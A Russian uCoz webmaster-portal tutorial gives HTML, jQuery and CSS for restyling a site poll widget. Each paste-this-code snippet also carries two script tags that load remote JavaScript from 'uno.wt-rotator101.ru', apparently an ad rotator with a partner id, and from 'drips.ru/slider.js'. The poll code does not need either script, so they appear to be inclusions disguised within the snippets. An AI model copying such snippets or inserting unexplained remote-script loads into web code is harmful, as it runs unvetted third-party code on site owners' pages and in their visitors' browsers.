Портал веб-мастеров Vse-ForuCoz.3dn.ru
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Наш опрос
Какой из талисманов зимних олимпийских игр 2014 Вам нравиться больше?
Всего ответов: 39
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Статистика
Полная статистика Всего: 171 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
По группам:
Администраторов: 1 Модераторов: 2 Проверенных: 4 Обычных юзеров: 164
Из них
Парней: 147 Девушек: 21
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Сайт сегодня посетили:
Портал веб-мастеров Vse-ForuCoz.3dn.ru
Стилизация опроса uCoz v.1.5
Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz. Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов удаляем от туда старый код и устанавливаем новый: Code
<div class="cell_poll"> <script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script> <div class="poll_title">$QUESTION$</div> <script src="http://drips.ru/slider.js" type="text/javascript"></script> <div class="poll_variant">$ANSWERS$</div> <div class="poll_niz"> <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div> <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div> </div> </div> <script type="text/javascript"> var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});} $('div.answer span').each(function(){$(this).html($(this).html()+' ')}); </script>
Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода: Code
<div class="cell_poll"> <script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script> <script src="http://drips.ru/slider.js" type="text/javascript"></script> <div class="poll_title">$QUESTION$</div> <div class="poll_variant">$ANSWERS$</div> <div class="poll_niz"> <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div> <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div> </div> </div> <script type="text/javascript"> var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});} $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')}); </script>
CSS: Наш опрос почти готов, осталось прописать css стили: Code
/* Ячейка опроса ------------------------------------------*/ .cell_poll { float:left; color:#555;text-shadow: 1px 1px 1px #fff; width:220px; background: #fff; border: 1px solid #D0D1D3; padding: 0px 10px 5px 10px; } .poll_title { text-align:center; font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif; font-weight: bold; padding: 5px 0px; border-bottom: 1px solid #D0D1D3; } .poll_variant { float:left; width:220px; padding: 5px 0px; } .poll_niz { float:left; font: 9px Verdana,Arial,Helvetica, sans-serif; width:220px; padding: 5px 0px; border-top: 1px solid #D0D1D3; } .poll_left {float:left;} .procent, .poll_right {float:right;} .answer { background: #F6FBFC; padding: 2px 5px 2px 5px; margin: 7px 0px 7px 0px; } .answer input, .answer label{ margin:0; } .answer div div { height: 10px !important; border: 1px solid #fff; margin: 0px; } .answer div { display: block; position: relative; padding: 0 !important; border: 1px solid #B6B6B5; background: #F4F5F6; margin: 0px; } .procent { background: #DCEDF0; padding: 3px 5px; } .pollBut { font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold; color:#b17902!important; text-shadow:1px 1px 1px #fff!important; background:#fed66c!important; border:1px solid #e3b346!important; padding: 4px 8px; margin: 5px 0px 5px 0px; } .pollBut:hover { background:#ffe49c!important; } /*------------------------------------------*/
Категория: Скрипты | Добавил: DianaWeb (19.02.2012)
Просмотров: 2413 | Комментарии: 1
| Рейтинг: 0.0 /0
Всего комментариев: 1
Порядок вывода комментариев:
По умолчанию
Сначала новые
Сначала старые
1
Kirpitch190Rus
(14.04.2012 12:02)
0
по мойму без CSS смотрится даже лучше, а то съезжает весь сайт набекрень)
Добавлять комментарии могут только зарегистрированные пользователи.
[
Регистрация |
Вход ]